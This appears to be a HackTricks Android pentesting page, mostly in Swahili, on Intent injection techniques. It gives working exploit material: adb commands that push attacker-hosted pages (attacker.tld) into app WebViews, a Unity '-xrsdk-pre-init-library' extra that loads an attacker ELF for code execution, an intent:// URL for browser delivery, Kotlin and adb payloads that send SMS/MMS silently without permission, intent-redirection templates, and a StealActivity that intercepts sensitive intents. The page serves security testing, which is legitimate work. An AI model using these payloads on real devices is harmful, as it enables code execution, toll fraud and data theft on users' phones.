Intent Injection

Tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

• Angalia mpango wa usajili!
• Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
• Shiriki mbinu za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.

Intent injection hutumia vibaya komponenti zinazokubali Intents zinazoongozwa na mshambuliaji au data ambayo baadaye hubadilishwa kuwa Intents. Mbinu mbili zinazotokea mara kwa mara wakati wa Android app pentests ni:

• Kupitisha extras zilizotengenezwa kwa makusudi kwa exported Activities/Services/BroadcastReceivers ambazo baadaye hupelekwa kwa privileged, non-exported components.
• Kuchochea exported VIEW/BROWSABLE deep links ambazo hupeleka URLs zinazodhibitiwa na mshambuliaji ndani ya WebViews za ndani au sinks nyingine nyeti.

Deep links → WebView sink (URL parameter injection)

If an app exposes a custom scheme deep link such as:

myscheme://com.example.app/web?url=<attacker_url>

na Activity inayopokea inapopita parameta ya query url ndani ya WebView, unaweza kulazimisha app kuonyesha yaliyomo yoyote ya mbali ndani ya muktadha wake wa WebView.

PoC kupitia adb:

# Implicit VIEW intent
adb shell am start -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"

# Or explicitly target an Activity
adb shell am start -n com.example/.MainActivity -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"

Athari

• HTML/JS inatekelezwa ndani ya profaili ya WebView ya app.
• Ikiwa JavaScript imewekwa (kwa default au kutokana na ukaguzi usiopangwa vizuri), unaweza kutafuta/ kutumia vitu vyovyote vilivyo exposed vya @JavascriptInterface, kuiba cookies/local storage za WebView, na kutekeleza pivot.

See also:

Webview Attacks

Hitilafu ya mpangilio wa ukaguzi inayowezesha JavaScript

Hitilafu inayojirudia ni kuwezesha JavaScript (au mipangilio mingine ya upole ya WebView) kabla ya allowlist/ukaguzi wa mwisho wa URL kumalizika. Ikiwa wasaidizi wa awali wanakubali deep link yako na WebView inasanidiwa kwanza, mzigo wako wa mwisho utakamilishwa ukiwa JavaScript imekwisha kuwekwa hata kama ukaguzi wa baadaye ni mbovu au umechelewa.

Kile cha kutafuta katika code iliyofunguliwa (decompiled):

• Wasaidizi wengi ambao huparse/hugawanya/kujenga upya URL tofauti (normalization isiyo sawa).
• Miito ya getSettings().setJavaScriptEnabled(true) kabla ya ukaguzi wa mwisho wa host/path allowlist.
• Mstari wa kazi kama: parse → partial validate → configure WebView → final verify → loadUrl.

Unity Runtime: Intent-to-CLI extras → pre-init native library injection (RCE)

Apps za Android zinazotegemea Unity kawaida hutumia com.unity3d.player.UnityPlayerActivity (au UnityPlayerGameActivity) kama Activity ya kuingia. Template ya Android ya Unity hutchukulia Intent extra maalum yenye jina unity kama mnyororo wa flags za command-line kwa Unity runtime. When the entry Activity is exported (default in many templates), any local app – and sometimes a website if BROWSABLE is present – can supply this extra.

Flag hatari, isiyoandikwa inayoongoza kwa utekelezaji wa code native wakati wa awali sana wa initialization ya process:

• Hidden flag: -xrsdk-pre-init-library <absolute-path>
• Effect: dlopen(<absolute-path>, RTLD_NOW) very early in init, loading attacker-controlled ELF inside the target app’s process with its UID and permissions.

Reverse-engineering excerpt (simplified):

// lookup the arg value
initLibPath = FUN_00272540(uVar5, "xrsdk-pre-init-library");
// load arbitrary native library early
lVar2 = dlopen(initLibPath, 2); // RTLD_NOW

Kwa nini inafanya kazi

• The Intent extra unity inatafsiriwa kuwa Unity runtime flags.
• Kutoa pre-init flag kunaonyesha Unity kwenye attacker-controlled ELF path ndani ya allowed linker namespace path (see constraints below).

Masharti ya exploitation

• The Unity entry Activity ime-exported (commonly true by default).
• Kwa one-click remote via browser: the entry Activity pia inatangaza android.intent.category.BROWSABLE ili extras ziweze kupitishwa kutoka kwa intent: URL.

Local exploitation (same device)

1. Place a payload ELF at a path readable by the victim app. Easiest: ship a malicious library in your own attacker app and ensure it is extracted under /data/app/.../lib/<abi>/ by setting in the attacker’s manifest:

<application android:extractNativeLibs="true" ...>

2. Anzisha activity ya Unity ya mwathirika kwa kutumia CLI pre-init flag katika extra ya unity. Mfano wa ADB PoC:

adb shell am start \
-n com.victim.pkg/com.unity3d.player.UnityPlayerActivity \
-e unity "-xrsdk-pre-init-library /data/app/~~ATTACKER_PKG==/lib/arm64/libpayload.so"

3. Unity inaita dlopen("/data/.../libpayload.so", RTLD_NOW); payload yako inaendesha ndani ya mchakato wa mwathiriwa, ikirithi ruhusa zote za app (kamera/mikrofoni/mtandao/hifadhi, n.k.) na ufikiaji wa vikao/taarifa ndani ya app.

Notes

• Njia halisi /data/app/... inatofautiana kati ya vifaa/ufungaji. App ya mshambulizi inaweza kupata saraka yake ya native lib wakati wa utekelezaji kupitia getApplicationInfo().nativeLibraryDir na kuwasilisha hiyo kwa trigger.
• Faili haifai kumalizika kwa .so ikiwa ni ELF halali – dlopen() inalenga vichwa vya ELF, sio nyongeza za faili.

Remote one‑click via browser (conditional) Ikiwa entry activity ya Unity imetangazwa kwa BROWSABLE, tovuti inaweza kupitisha extras kupitia URL ya intent::

intent:#Intent;package=com.example.unitygame;scheme=whatever;\
S.unity=-xrsdk-pre-init-library%20/data/local/tmp/malicious.so;end;

Hata hivyo, katika Android za kisasa dynamic linker namespaces na SELinux zinazuia kupakia kutoka kwenye njia nyingi za umma (e.g., /sdcard/Download). Utapata makosa kama:

library "/sdcard/Download/libtest.so" ("/storage/emulated/0/Download/libtest.so") needed
or dlopened by "/data/app/.../lib/arm64/libunity.so" is not accessible for the
namespace: [name="clns-...", ... permitted_paths="/data:/mnt/expand:/data/data/com.example.unitygame"]

Bypass strategy: target apps that cache attacker-controlled bytes under their private storage (e.g., HTTP caches). Because permitted paths include /data and the app’s private dir, pointing -xrsdk-pre-init-library at an absolute path inside the app’s cache can satisfy linker constraints and yield code execution. This mirrors prior cache-to-ELF RCE patterns experienced in other Android apps.

Confused‑Deputy: Silent SMS/MMS via ACTION_SENDTO (Wear OS Google Messages)

Baadhi ya default messaging apps hutoa auto‑execute ya implicit messaging intents kwa njia isiyofaa, na kuzirekebisha kuwa primitive ya confused‑deputy: app yoyote isiyo na ruhusa inaweza kuchochea Intent.ACTION_SENDTO kwa kutumia sms:, smsto:, mms:, au mmsto: na kusababisha kutumwa mara moja bila UI ya uthibitisho na bila ruhusa ya SEND_SMS.

Key points

• Trigger: implicit ACTION_SENDTO + messaging URI scheme.
• Data: set recipient in the URI, message text in the "sms_body" extra.
• Permissions: none (no SEND_SMS), relies on the default SMS/MMS handler.
• Observed: Google Messages for Wear OS (patched May 2025). Other handlers should be assessed similarly.

Minimal payload (Kotlin)

val intent = Intent(Intent.ACTION_SENDTO).apply {
data = Uri.parse("smsto:+11234567890") // or sms:, mms:, mmsto:
putExtra("sms_body", "Hi from PoC")
// From a non-Activity context add NEW_TASK
addFlags(Intent.FLAG_ACTIVITY_NEW_TASK)
}
startActivity(intent)

ADB PoC (bila ruhusa maalum)

# SMS/SMS-to
adb shell am start -a android.intent.action.SENDTO -d "smsto:+11234567890" --es sms_body "hello"
adb shell am start -a android.intent.action.SENDTO -d "sms:+11234567890"   --es sms_body "hello"

# MMS/MMS-to (handler-dependent behaviour)
adb shell am start -a android.intent.action.SENDTO -d "mmsto:+11234567890" --es sms_body "hello"
adb shell am start -a android.intent.action.SENDTO -d "mms:+11234567890"   --es sms_body "hello"

Kupanua uso wa mashambulizi (Wear OS)

• Kila sehemu inayoweza kuzindua activities inaweza kutuma payload ile ile: Activities, foreground Services (with FLAG_ACTIVITY_NEW_TASK), Tiles, Complications.
• Ikiwa mshughulikiaji wa kimsingi hutuma moja kwa moja, matumizi mabaya yanaweza kuwa kwa kugusa mara moja (one‑tap) au kabisa kimya kutoka muktadha wa background kulingana na sera za OEM.

Pentest checklist

• Resolve ACTION_SENDTO kwenye lengo ili kubaini mshughulikiaji wa kimsingi; thibitisha ikiwa inaonyesha compose UI au hutuma kimya.
• Jaribu skimu zote nne (sms:, smsto:, mms:, mmsto:) na extras (sms_body, optionally subject for MMS) ili kuangalia tofauti za tabia.
• Zingatia destinations zenye malipo/nambari za premium‑rate unapofanya majaribio kwenye vifaa halisi.

Other classic Intent injection primitives

• startActivity/sendBroadcast kwa kutumia Intent extras zinazotolewa na mshambuliaji ambazo baadaye hupangwa upya (Intent.parseUri(...)) na kutekelezwa.
• Exported proxy components zinazopitisha Intents kwa components nyeti ambazo hazijatolewa bila ukaguzi wa vibali.

Kuotomatisha majaribio ya exported-component (Smali-driven ADB generation)

Wakati exported components zinatarajia extras maalum, kubahatisha muundo wa payload husababisha upotevu wa muda na false negatives. Unaweza kuotomatisha ugunduzi wa keys/types moja kwa moja kutoka Smali na kutoa amri za adb zinazoweza kukimbia mara moja.

Chombo: APK Components Inspector

• Repo: https://github.com/thecybersandeep/apk-components-inspector
• Mbinu: decompile na skana Smali kwa ajili ya kutafuta miito kama getStringExtra("key"), getIntExtra("id", ...), getParcelableExtra("redirect_intent"), getSerializableExtra(...), getBooleanExtra(...), getAction(), getData() ili kubaini ni extras na fields gani zinatumiwa na kila component.
• Matokeo: kwa kila exported Activity/Service/Receiver/Provider, zana inachapisha maelezo mafupi na amri sahihi adb shell am .../cmd content ... na flag zilizo na aina sahihi.

Sakinisha

git clone https://github.com/thecybersandeep/apk-components-inspector
cd apk-components-inspector
python3 -m venv venv && source venv/bin/activate
pip install androguard==3.3.5 rich

Matumizi

python apk-components-inspector.py target.apk

Matokeo ya mfano

adb shell am start -n com.target/.ExportedActivity --es url https://example.tld
adb shell am startservice -n com.target/.ExportedService --ei user_id 1337 --ez force true
adb shell am broadcast -n com.target/.ExportedReceiver -a com.target.ACTION --es redirect_intent "intent:#Intent;component=com.target/.Internal;end"
adb shell cmd content query --uri content://com.target.provider/items

ADB am extras - karatasi ya marejeo (bendera zenye uelewa wa aina)

• Strings: --es key value | String array: --esa key v1,v2
• Integers: --ei key 123 | Int array: --eia key 1,2,3
• Booleans: --ez key true|false
• Longs: --el key 1234567890
• Floats: --ef key 1.23
• URIs (extra): --eu key content://... | Data URI (Intent data): -d content://...
• Component extra: --ecn key com.pkg/.Cls
• Null string extra: --esn key
• Common flags: -a <ACTION> -c <CATEGORY> -t <MIME> -f <FLAGS> --activity-clear-task --activity-new-task

Vidokezo vya kitaalamu kwa Providers

• Tumia adb shell cmd content query|insert|update|delete ... kufikia ContentProviders bila agents.
• Kwa uchunguzi wa SQLi, badilisha --projection na --where (yaani selection) wakati provider wa chini unategemea SQLite.

Uotomatishaji wa pipeline nzima (interactive executor)

# generate and capture commands then execute them one by one interactively
python apk-components-inspector.py app.apk | tee adbcommands.txt
python run_adb_commands.py

</details>

Run on-device: the inspector is Python-based and works in Termux or rooted phones where `apktool`/`androguard` are available.

---

## Intent Redirection (CWE-926) – kutafuta na kutumia

Pattern
- An exported entry point (Activity/Service/Receiver) reads an incoming Intent and forwards it internally or externally without validating source/data, e.g.:
- `startActivity(getIntent())`
- `startActivity(intent)` where `intent` came from an extra like `redirect_intent`/`next_intent`/`pending_intent` or `Intent.parseUri(...)`.
- Trusting `action`/`data`/`component` fields without checks; not verifying caller identity.

What to search in Smali/Java
- Uses of `getParcelableExtra("redirect_intent")`, `getParcelable("intent")`, `getIntent().getParcelableExtra(...)`.
- Direct `startActivity(...)`, `startService(...)`, `sendBroadcast(...)` on attacker-influenced Intents.
- Lack of `getCallingPackage()`/`getCallingActivity()` checks or custom permission gates.

ADB PoC templates
- Proxy Activity inayowasilisha extra Intent kwa Activity ya ndani yenye ruhusa za juu:
```bash
adb shell am start -n com.target/.ProxyActivity \
--es redirect_intent 'intent:#Intent;component=com.target/.SensitiveActivity;end'

adb shell am startservice -n com.target/.ExportedService \
--es redirect_intent 'intent:#Intent;component=com.target/.PrivService;action=com.target.DO;end'

adb shell am broadcast -n com.target/.RelayReceiver -a com.target.RELAY \
--es forwarded 'intent:#Intent;component=com.target/.HiddenActivity;S.extra=1;end'

# Ensure a fresh task when testing Activities that check task/intent flags
adb shell am start -n com.target/.ExportedActivity --activity-clear-task --activity-new-task

<activity android:name=".StealActivity" android:exported="true">
<intent-filter>
<action android:name="com.victim.app.ACTION_CALLBACK"/>
<category android:name="android.intent.category.DEFAULT"/>
<!-- Optionally constrain MIME or scheme/host/path to increase match score -->
<!-- <data android:mimeType="application/json"/> -->
<!-- <data android:scheme="myscheme" android:host="callback"/> -->
</intent-filter>
</activity>

public class StealActivity extends Activity {
@Override protected void onCreate(Bundle b) {
super.onCreate(b);
Intent i = getIntent();
Bundle extras = i.getExtras();
Uri data = i.getData();
// Dump/forward sensitive result
android.util.Log.i("HIJACK", "action="+i.getAction()+" data="+data+" extras="+extras);
finish();
}
}

Intent intent = new Intent();
intent.setAction("android.media.action.IMAGE_CAPTURE");
intent.addFlags(Intent.FLAG_DEBUG_LOG_RESOLUTION);
startActivityForResult(intent, 42);

# You can also set the debug flag from adb when firing an implicit Intent
# 0x00000008 == Intent.FLAG_DEBUG_LOG_RESOLUTION on modern Android
adb shell am start -a android.media.action.IMAGE_CAPTURE -f 0x00000008

# Then inspect the resolution in logs
adb logcat | grep -i -E "resolve|Resolver|PackageManager|ActivityTaskManager"